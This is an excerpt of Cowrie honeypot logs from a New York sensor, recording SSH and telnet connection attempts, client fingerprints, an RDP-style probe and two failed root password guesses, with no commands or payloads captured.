{"eventid":"cowrie.session.closed","duration":43.22165083885193,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:22.865002Z","src_ip":"192.119.13.58","session":"24136a2ca261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":38328,"dst_ip":"159.203.135.109","dst_port":22,"session":"d252a8dbbf03","protocol":"ssh","message":"New connection: 62.133.63.178:38328 (159.203.135.109:22) [session: d252a8dbbf03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:27.296539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:27.301572Z","src_ip":"62.133.63.178","session":"d252a8dbbf03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:27.423780Z","src_ip":"62.133.63.178","session":"d252a8dbbf03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe123","message":"login attempt [root/qweqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:27.781645Z","src_ip":"62.133.63.178","session":"d252a8dbbf03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:28.903132Z","src_ip":"62.133.63.178","session":"d252a8dbbf03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"91220c8d19e7","protocol":"telnet","message":"New connection: 192.119.13.58:45816 (10.17.0.5:23) [session: 91220c8d19e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:29.031575Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47808,"dst_ip":"10.17.0.5","dst_port":23,"session":"3718bb69b7c4","protocol":"telnet","message":"New connection: 192.119.13.58:47808 (10.17.0.5:23) [session: 3718bb69b7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:29.564665Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51178,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e07bf6dd17d","protocol":"telnet","message":"New connection: 192.119.13.58:51178 (10.17.0.5:23) [session: 0e07bf6dd17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:30.457295Z"}
{"eventid":"cowrie.session.closed","duration":40.91663646697998,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:31.160693Z","src_ip":"192.119.13.58","session":"a7fe1ab02ade","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.01512575149536,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:34.254151Z","src_ip":"192.119.13.58","session":"10a3f61d08a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37110,"dst_ip":"10.17.0.5","dst_port":23,"session":"e997ed9a854e","protocol":"telnet","message":"New connection: 192.119.13.58:37110 (10.17.0.5:23) [session: e997ed9a854e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:35.217695Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56940,"dst_ip":"10.17.0.5","dst_port":23,"session":"eecfce2840c9","protocol":"telnet","message":"New connection: 192.119.13.58:56940 (10.17.0.5:23) [session: eecfce2840c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:39.225252Z"}
{"eventid":"cowrie.session.closed","duration":34.924524545669556,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:39.358102Z","src_ip":"192.119.13.58","session":"518a68512cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55036,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d4805c3ba02","protocol":"ssh","message":"New connection: 152.42.212.128:55036 (159.203.135.109:22) [session: 3d4805c3ba02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:39.883689Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:39.888546Z","src_ip":"152.42.212.128","session":"3d4805c3ba02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:39.892315Z","src_ip":"152.42.212.128","session":"3d4805c3ba02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.05108094215393,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:43.472578Z","src_ip":"192.119.13.58","session":"822f92f31dfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57984,"dst_ip":"10.17.0.5","dst_port":23,"session":"046b9bf9ccc0","protocol":"telnet","message":"New connection: 192.119.13.58:57984 (10.17.0.5:23) [session: 046b9bf9ccc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:46.634149Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32986,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bba8cbc6b32","protocol":"telnet","message":"New connection: 192.119.13.58:32986 (10.17.0.5:23) [session: 6bba8cbc6b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:47.382317Z"}
{"eventid":"cowrie.session.closed","duration":2.7016818523406982,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:49.335716Z","src_ip":"192.119.13.58","session":"046b9bf9ccc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.63923406600952,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:52.336568Z","src_ip":"192.119.13.58","session":"f9c373248ee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21153140068054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:53.892096Z","src_ip":"192.119.13.58","session":"a9bf99422020","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36156,"dst_ip":"10.17.0.5","dst_port":23,"session":"218a36f03fcc","protocol":"telnet","message":"New connection: 192.119.13.58:36156 (10.17.0.5:23) [session: 218a36f03fcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:55.199469Z"}
{"eventid":"cowrie.session.closed","duration":35.068060874938965,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:55.675934Z","src_ip":"192.119.13.58","session":"2d9cad717725","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.4653844833374,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:17:58.155112Z","src_ip":"192.119.13.58","session":"1a758b807456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51362,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe38bd2f8c8b","protocol":"telnet","message":"New connection: 192.119.13.58:51362 (10.17.0.5:23) [session: fe38bd2f8c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:05.882133Z"}
{"eventid":"cowrie.session.closed","duration":0.00533747673034668,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:05.887331Z","src_ip":"192.119.13.58","session":"fe38bd2f8c8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.972986459732056,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:08.537542Z","src_ip":"192.119.13.58","session":"3718bb69b7c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36024,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc55b6004177","protocol":"telnet","message":"New connection: 192.119.13.58:36024 (10.17.0.5:23) [session: cc55b6004177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:10.033838Z"}
{"eventid":"cowrie.session.closed","duration":40.6361198425293,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:11.093141Z","src_ip":"192.119.13.58","session":"0e07bf6dd17d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.24616742134094,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:13.277644Z","src_ip":"192.119.13.58","session":"91220c8d19e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.65054368972778,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:14.868124Z","src_ip":"192.119.13.58","session":"e997ed9a854e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.184412240982056,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:17.409409Z","src_ip":"192.119.13.58","session":"eecfce2840c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44834,"dst_ip":"10.17.0.5","dst_port":23,"session":"29bc30c54211","protocol":"telnet","message":"New connection: 192.119.13.58:44834 (10.17.0.5:23) [session: 29bc30c54211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:18.489611Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46126,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d4fbc334cdc","protocol":"telnet","message":"New connection: 192.119.13.58:46126 (10.17.0.5:23) [session: 5d4fbc334cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:18.746212Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49478,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb04f221c2a","protocol":"telnet","message":"New connection: 192.119.13.58:49478 (10.17.0.5:23) [session: efb04f221c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:19.548271Z"}
{"eventid":"cowrie.session.closed","duration":0.0053904056549072266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:19.553485Z","src_ip":"192.119.13.58","session":"efb04f221c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.51833510398865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:21.900523Z","src_ip":"192.119.13.58","session":"6bba8cbc6b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49582,"dst_ip":"10.17.0.5","dst_port":23,"session":"25de23ca151f","protocol":"telnet","message":"New connection: 192.119.13.58:49582 (10.17.0.5:23) [session: 25de23ca151f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:26.533396Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58808,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fb67aaeb7a0","protocol":"telnet","message":"New connection: 192.119.13.58:58808 (10.17.0.5:23) [session: 3fb67aaeb7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:28.776062Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39952,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e5b3f5c76fa","protocol":"telnet","message":"New connection: 192.119.13.58:39952 (10.17.0.5:23) [session: 7e5b3f5c76fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:31.109267Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48400,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd757c917993","protocol":"telnet","message":"New connection: 192.119.13.58:48400 (10.17.0.5:23) [session: cd757c917993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:33.429944Z"}
{"eventid":"cowrie.session.closed","duration":40.27405118942261,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:35.473402Z","src_ip":"192.119.13.58","session":"218a36f03fcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60096,"dst_ip":"10.17.0.5","dst_port":23,"session":"904b1a552529","protocol":"telnet","message":"New connection: 192.119.13.58:60096 (10.17.0.5:23) [session: 904b1a552529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:36.462428Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46188,"dst_ip":"10.17.0.5","dst_port":23,"session":"602834d30a35","protocol":"telnet","message":"New connection: 192.119.13.58:46188 (10.17.0.5:23) [session: 602834d30a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:39.977238Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58486,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a980d457c6","protocol":"telnet","message":"New connection: 192.119.13.58:58486 (10.17.0.5:23) [session: 63a980d457c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:43.127972Z"}
{"eventid":"cowrie.session.closed","duration":0.005455732345581055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:43.133321Z","src_ip":"192.119.13.58","session":"63a980d457c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":49479,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7e2798e4b0c","protocol":"telnet","message":"New connection: 186.195.16.41:49479 (159.203.135.109:23) [session: d7e2798e4b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:49.247061Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57108,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1307ab9d0f0","protocol":"telnet","message":"New connection: 192.119.13.58:57108 (10.17.0.5:23) [session: f1307ab9d0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:49.721654Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":55908,"dst_ip":"159.203.135.109","dst_port":22,"session":"85ca35a5be5d","protocol":"ssh","message":"New connection: 46.19.67.181:55908 (159.203.135.109:22) [session: 85ca35a5be5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:50.110695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:50.114858Z","src_ip":"46.19.67.181","session":"85ca35a5be5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:50.228456Z","src_ip":"46.19.67.181","session":"85ca35a5be5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.06206011772156,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:50.551533Z","src_ip":"192.119.13.58","session":"29bc30c54211","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"friend","message":"login attempt [root/friend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:50.570537Z","src_ip":"46.19.67.181","session":"85ca35a5be5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33278,"dst_ip":"10.17.0.5","dst_port":23,"session":"1792dc60e769","protocol":"telnet","message":"New connection: 192.119.13.58:33278 (10.17.0.5:23) [session: 1792dc60e769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:50.659479Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:51.692563Z","src_ip":"46.19.67.181","session":"85ca35a5be5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39362,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c4a5ce320e","protocol":"telnet","message":"New connection: 192.119.13.58:39362 (10.17.0.5:23) [session: 77c4a5ce320e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:52.049911Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48174,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fba83f4d557","protocol":"telnet","message":"New connection: 192.119.13.58:48174 (10.17.0.5:23) [session: 3fba83f4d557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:54.114294Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55314,"dst_ip":"10.17.0.5","dst_port":23,"session":"df1bbd44b0c5","protocol":"telnet","message":"New connection: 192.119.13.58:55314 (10.17.0.5:23) [session: df1bbd44b0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:55.822893Z"}
{"eventid":"cowrie.session.closed","duration":48.536985635757446,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:18:58.570660Z","src_ip":"192.119.13.58","session":"cc55b6004177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58566,"dst_ip":"10.17.0.5","dst_port":23,"session":"e19e7a8fb717","protocol":"telnet","message":"New connection: 192.119.13.58:58566 (10.17.0.5:23) [session: e19e7a8fb717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:03.523670Z"}
{"eventid":"cowrie.session.closed","duration":45.68792915344238,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:04.433933Z","src_ip":"192.119.13.58","session":"5d4fbc334cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34350,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ff515ad6bb","protocol":"telnet","message":"New connection: 192.119.13.58:34350 (10.17.0.5:23) [session: 88ff515ad6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:04.579260Z"}
{"eventid":"cowrie.session.closed","duration":37.68643307685852,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:08.795449Z","src_ip":"192.119.13.58","session":"7e5b3f5c76fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52072,"dst_ip":"10.17.0.5","dst_port":23,"session":"40298c6fa0aa","protocol":"telnet","message":"New connection: 192.119.13.58:52072 (10.17.0.5:23) [session: 40298c6fa0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:08.867681Z"}
{"eventid":"cowrie.session.closed","duration":42.7051100730896,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:09.238377Z","src_ip":"192.119.13.58","session":"25de23ca151f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53960,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c23d522f54","protocol":"telnet","message":"New connection: 192.119.13.58:53960 (10.17.0.5:23) [session: c0c23d522f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:09.303590Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48514,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8a5103d789","protocol":"telnet","message":"New connection: 192.119.13.58:48514 (10.17.0.5:23) [session: 2a8a5103d789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:14.851020Z"}
{"eventid":"cowrie.session.closed","duration":0.009243488311767578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:14.860033Z","src_ip":"192.119.13.58","session":"2a8a5103d789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.6061954498291,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:19:17.068486Z","src_ip":"192.119.13.58","session":"904b1a552529","protocol":"telnet"}
